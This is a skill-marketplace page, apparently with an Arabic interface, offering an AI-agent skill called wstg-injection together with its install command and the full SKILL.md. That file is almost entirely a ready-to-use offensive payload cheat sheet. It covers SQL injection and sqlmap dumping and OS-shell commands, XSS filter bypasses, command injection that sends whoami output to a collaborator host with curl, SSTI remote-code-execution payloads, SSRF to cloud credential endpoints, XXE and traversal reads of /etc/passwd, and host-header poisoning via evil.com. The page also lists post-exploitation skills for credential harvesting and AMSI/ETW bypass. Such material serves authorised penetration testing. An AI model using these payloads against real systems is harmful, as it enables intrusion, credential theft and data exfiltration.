القائمة
WSTG input validation and injection testing - SQLi, XSS, SSTI, SSRF, command injection, XXE
يُحدَّد Prompt الذي يراجع المصدر أولًا بشكل افتراضي. يمكنك التبديل إلى أمر مباشر أو تنزيل نسخة محلية.
اقرأ SKILL.md وأي ملفات مرافقة يعرضها SkillsMP قبل أن تقرر التثبيت.
التثبيت باستخدام Codex أو Claude انسخ هذا Prompt والصقه في Codex أو Claude أو مساعد آخر ليراجع صفحة Skill ويثبّتها لك.
يتجاوز الأمر المباشر Prompt المخصّص للمراجعة. افحص المصدر قبل تشغيله.
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-injectionيبقى الأمر في سطر واحد. مرّر أفقيًا لمراجعته كاملًا قبل النسخ.
تفضّل نسخة محلية؟ نزّل الملفات المتاحة حاليًا لدى SkillsMP.
macOS post-exploitation for credential harvesting, DTrace monitoring, TCC bypass, and stealth operations via native tools
Windows userland post-exploitation for credential harvesting, monitoring, AMSI/ETW bypass, and stealth operations
Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
استنادا إلى تصنيف SOC المهني
عرض SKILL.md
| name | wstg-injection |
| description | WSTG input validation and injection testing - SQLi, XSS, SSTI, SSRF, command injection, XXE |
| tags | ["injection","sqli","xss","ssti","ssrf","xxe","rce","wstg"] |
| version | 1.0 |
'
''
' OR '1'='1
' OR '1'='1' --
' OR '1'='1' #
" OR "1"="1" --
' AND 1=1 --
' AND 1=2 --
1' ORDER BY 1 --
1' ORDER BY 100 --
' UNION SELECT NULL --
| Error Snippet | Database |
|---|---|
You have an error in your SQL syntax | MySQL |
pg_query(), PSQLException | PostgreSQL |
Microsoft SQL Server, Unclosed quotation mark | MSSQL |
ORA-, Oracle error | Oracle |
SQLite | SQLite |
-- Step 1: Find column count
' ORDER BY 1 -- ... ' ORDER BY N --
' UNION SELECT NULL,NULL,... --
-- Step 2: Find displayable column
' UNION SELECT 'a',NULL,NULL --
-- Step 3: Extract data
-- MySQL:
' UNION SELECT table_name,NULL FROM information_schema.tables --
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users' --
' UNION SELECT username,password FROM users --
-- MSSQL:
' UNION SELECT name,NULL FROM sysobjects WHERE xtype='U' --
-- PostgreSQL:
' UNION SELECT table_name,NULL FROM information_schema.tables WHERE table_schema='public' --
-- Boolean-based
' AND 1=1 -- (true response)
' AND 1=2 -- (false response)
' AND SUBSTRING(username,1,1)='a' --
' AND (SELECT COUNT(*) FROM users)>0 --
-- Time-based
' AND SLEEP(5) -- (MySQL)
'; WAITFOR DELAY '0:0:5' -- (MSSQL)
' AND pg_sleep(5) -- (PostgreSQL)
' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5) -- (Oracle)
# Basic scan
sqlmap -u "https://TARGET/page?id=1" --batch --random-agent
# POST request
sqlmap -u "https://TARGET/login" --data="user=admin&pass=test" -p user --batch
# With authentication
sqlmap -u "https://TARGET/page?id=1" --cookie="session=abc123" --batch
# Enumerate
sqlmap -u "URL" --dbs # List databases
sqlmap -u "URL" -D dbname --tables # List tables
sqlmap -u "URL" -D db -T users --dump # Dump table
sqlmap -u "URL" --current-user # Current DB user
sqlmap -u "URL" --is-dba # Check DBA privs
# Advanced
sqlmap -u "URL" --os-shell # OS shell
sqlmap -u "URL" --file-read=/etc/passwd # Read files
sqlmap -u "URL" --tamper=space2comment,between # WAF bypass
sqlmap -u "URL" --level=5 --risk=3 # Thorough scan
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload="alert(1)">
<body onload="alert(1)">
<input onfocus="alert(1)" autofocus>
<details open ontoggle="alert(1)">
<marquee onstart="alert(1)">javascript:alert(1)</marquee>
</details>
</input>
</body>
</svg>
<!-- Inside HTML attribute (break out) -->
" onmouseover="alert(1)
' onfocus='alert(1)' autofocus='
<!-- Inside script tag -->
';alert(1);//
</script><script>alert(1)</script>
<!-- Inside JavaScript string -->
\';alert(1);//
\"-alert(1)-\"
<!-- Inside URL/href -->
javascript:alert(1)
data:text/html,<script>alert(1)</script>
<!-- Inside CSS -->
expression(alert(1))
url('javascript:alert(1)')
<!-- Case variation -->
<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x OnErRoR=alert(1)>
<!-- Encoding -->
<script>alert(1)</script>
<img src=x onerror=alert(1)>
%3Cscript%3Ealert(1)%3C/script%3E
<!-- No parentheses -->
<img src=x onerror=alert`1`>
<script>onerror=alert;throw 1</script>
<!-- No quotes/angle brackets -->
<svg/onload=alert(1)>
<img src=x onerror=alert(1)//>
<!-- Double encoding -->
%253Cscript%253Ealert(1)%253C/script%253E
Test payload injection in: profile name/bio, comments, messages, forum posts, file names, email subjects, metadata fields, custom headers.
# Linux
; id
| id
|| id
$(id)
`id`
; cat /etc/passwd
| whoami
& ping -c 1 COLLAB_SERVER &
# Windows
& ipconfig
| net user
; dir C:\
& ping -n 1 COLLAB_SERVER &
# Blind detection (use collaborator/webhook)
; curl http://COLLAB_SERVER/$(whoami)
| nslookup COLLAB_SERVER
; ping -c 1 COLLAB_SERVER
# Space bypass
;{id}
;$IFS'id'
cat$IFS/etc/passwd
cat${IFS}/etc/passwd
X=$'cat\x20/etc/passwd'&&$X
# Blacklist bypass
/bin/c?t /etc/p?sswd
c''a''t /etc/passwd
c\at /etc/passwd
${{<%[%'"}}%\.
{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}
*{7*7}
| Engine | Detection | RCE Payload |
| ----------------- | ----------------- | ------------------------------------------------------------------------------------------------------ | ------ | --------------- |
| Jinja2 (Python) | {{7*7}} → 49 | {{config.__class__.__init__.__globals__['os'].popen('id').read()}} |
| Twig (PHP) | {{7*7}} → 49 | {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}} |
| Freemarker (Java) | ${7*7} → 49 | <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} |
| Pebble (Java) | {{7*7}} → 49 | {% set cmd='id' %}{% set bytes=cmd.getClass().forName('java.lang.Runtime').getRuntime().exec(cmd) %} |
| ERB (Ruby) | <%= 7*7 %> → 49 | <%= system("id") %> |
| Smarty (PHP) | {7*7} → 49 | {system('id')} |
| Handlebars (JS) | {{this}} | {{#with "s" as | string | }}...{{/with}} |
http://127.0.0.1
http://localhost
http://0.0.0.0
http://[::1]
http://0x7f000001
http://2130706433 (decimal)
http://017700000001 (octal)
http://127.1
# AWS
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data/
# GCP
http://metadata.google.internal/computeMetadata/v1/
(Header: Metadata-Flavor: Google)
# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01
(Header: Metadata: true)
# DigitalOcean
http://169.254.169.254/metadata/v1/
# URL encoding
http://127.0.0.1 → http://%31%32%37%2e%30%2e%30%2e%31
# DNS rebinding
Register DNS: evil.com → 169.254.169.254
# Redirect bypass
http://evil.com/redirect?url=http://169.254.169.254
# Protocol smuggling
gopher://127.0.0.1:6379/_SET%20key%20value
dict://127.0.0.1:6379/SET:key:value
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://COLLAB_SERVER/xxe">
%xxe;
]>
Test in: SVG images, DOCX/XLSX/PPTX (unzip, inject in XML), SOAP requests, RSS feeds.
<!-- SVG XXE -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg">
<text x="0" y="16">&xxe;</text>
</svg>
# Basic traversal
../../../etc/passwd
..%2f..%2f..%2fetc/passwd
....//....//....//etc/passwd
..%252f..%252f..%252fetc/passwd
# Windows
..\..\..\windows\win.ini
..%5c..%5c..%5cwindows\win.ini
# Null byte (older PHP)
../../../etc/passwd%00
../../../etc/passwd%00.jpg
# Wrapper (PHP)
php://filter/convert.base64-encode/resource=index.php
php://input (POST body = PHP code)
expect://id
data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==
# Basic
curl -H "Host: evil.com" https://TARGET/
# X-Forwarded-Host
curl -H "X-Forwarded-Host: evil.com" https://TARGET/
# Password reset poisoning
curl -X POST https://TARGET/forgot-password \
-H "Host: evil.com" \
-d "email=victim@target.com"
# Check if reset link uses evil.com
# Duplicate parameters
https://TARGET/page?id=1&id=2
# Server behavior varies:
# PHP/Apache: last value (id=2)
# ASP.NET/IIS: both (id=1,2)
# JSP/Tomcat: first value (id=1)
# Add extra fields to updates
curl -X PUT https://TARGET/api/profile \
-H "Content-Type: application/json" \
-H "Cookie: session=USER_SESSION" \
-d '{"name":"test","role":"admin","isAdmin":true,"verified":true}'
# Common fields to try:
# role, admin, isAdmin, is_admin, verified, active, permissions
# price, discount, balance, credits
# user_id, account_id, org_id
For detailed procedures on any test, read:
knowledge/web-application/WSTG-INPV/WSTG-INPV-{NN}.md